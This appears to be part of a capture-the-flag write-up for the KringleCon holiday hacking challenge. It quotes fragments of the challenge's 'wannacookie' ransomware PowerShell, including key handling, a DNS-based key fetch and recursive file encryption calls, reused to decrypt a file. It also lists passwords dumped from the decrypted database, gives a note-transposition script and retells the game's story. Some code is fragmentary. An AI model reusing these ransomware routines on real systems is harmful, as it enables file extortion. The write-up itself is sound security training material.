p_k_e_k = "3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971"
        with open("encrypted_key", "wb") as f:
                print("Dumped the (RSA)encrypted (AES)encryption key to encrypted_key.")
        raise "Error."

we have the encrypted encryption key we can decrypt it with the ransomware RSA private key

function get_encrytped_key_enc_key {
    $private_key = $(g_o_dns("7365727665722e6b6579") );
    $private_key_encryption_key = "3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971";

    $public_key | Out-file -FilePath "server.crt"
    $private_key | Out-file -FilePath "server.key"
    Write-Host "Private key (byte stream): " $private_key;
    Write-Host $private_key_encryption_key;
    Write-Host "Public key (byte stream): " $public_key;

    $d_t = (($(Get-Date).ToUniversalTime() | Out-String) -replace "`r`n");
    [array]$f_c = $(Get-ChildItem -Path $($env:userprofile) -Recurse -Filter *.wannacookie | where {!$_.PSIsContainer} | Foreach-Object { $_.Fullname });
    $decrypted_key = "fbcfc121915d99cc20a3d3d5d84f8308";
    $decrypted_key_bytes = $(H2B $decrypted_key);
    e_n_d $decrypted_key_bytes $f_c $false;

This successfully decrypts the alabaster_passwords.elfdb.wannacookie file in our home path.

I dumps the values out of the sqlite3 DB it decrypted

sqlite3 alabaster_passwords.elfdb
sqlite> select * from passwords;

alabaster.snowball|CookiesR0cK!2!#|active directory|KeepYourEnemiesClose1425||CookiesRLyfe!*26|
alabaster.snowball|MoarCookiesPreeze1928|Barcode Scanner

Our vault password is ED#ED#EED#EF#G#F#G#ABA#BA#B

Piano Lock

Use what you have learned from previous challenges to open the door to Santa’s vault. What message do you get when you unlock the door?

When we try to submit we get a query like the following:

Our # are replaced with sh and our output


The key from the previous challenge didn’t work and seems to be offkey. In the decoded PDF we had instructions on taking notes and moving them up and down key

E D# E D# E E D# E F# G# F# G# A B A# B A# B

Moved them down one step However this is completely wrong now.

Checked the website

The font style is interesting <link href="" rel="stylesheet">

Also there’s commented crypto libraries…

I dropped the key from E major to D major

notes = ["A", "Ash", "B", "C", "Csh", "D", "Dsh", "E", "F", "Fsh", "G", "Gsh"]
base = "E D# E D# E E D# E F# G# F# G# A B A# B A# B"
var output = "";
base.split(" ").forEach(element => {
	var item = element.replace("#", "sh");
	var index = notes.indexOf(item);
	if (index == 0) {
		output += notes[notes.length - 2];
	} else if (index == 1) {
		output += notes[notes.length - 1];
	} else {
		output += notes[index - 2];
output += "&resourceId=c458ac75-966c-44f2-8a61-88e7803720cc";

Then using the outputs I crafted some notePress(key); commands and pushed them into the browser.

{"success":true,"resourceId":"c458ac75-966c-44f2-8a61-88e7803720cc","hash":"6f7ca7ddf434899dd7d26c1475bc0800cdc2a711f446751aafce7b31fab4d997","message":"Correct guess!"}

The correct Answer was DCshDCshDDCshDEFshEFshGAGshAGshA

Who Is Behind It All?

Who was the mastermind behind the whole KringleCon plan?

If you would like to submit a final report, please do so by emailing it to:


The final story can be read below:

As you walk through the gates, a familiar red-suited holiday figure warmly welcomes all of his special visitors to KringleCon.

Suddenly, all elves in the castle start looking very nervous. You can overhear some of them talking with worry in their voices.

The toy soldiers, who were always gruff, now seem especially determined as they lock all the exterior entrances to the building and barricade all the doors. No one can get out! And the toy soldiers' grunts take on an increasingly sinister tone.

The toy soldiers act even more aggressively. They are searching for something -- something very special inside of Santa’s castle -- and they will stop at NOTHING until they find it. Hans seems to be directing their activities.

In the main lobby on the bottom floor of Santa's castle, Hans calls everyone around to deliver a speech. Make sure you visit Hans to hear his speech.

The toy soldiers continue behaving very rudely, grunting orders to the guests and to each other in vaguely Germanic phrases. Suddenly, one of the toy soldiers appears wearing a grey sweatshirt that has written on it in red pen, "NOW I HAVE A ZERO-DAY. HO-HO-HO."

A rumor spreads among the elves that Alabaster has lost his badge. Several elves say, "What do you think someone could do with that?"

Hans has started monologuing again. Please visit him in Santa's lobby for a status update.

Great work! You have blocked access to Santa's treasure... for now. Please visit Hans in Santa's Secret Room for an update.

And then suddenly, Hans slips and falls into a snowbank. His nefarious plan thwarted, he's now just cold and wet.

But Santa still has more questions for you to solve!

Congrats! You have solved the hardest challenge! Please visit Santa and Hans inside Santa's Secret Room for an update on your amazing accomplishment!
comments powered by Disqus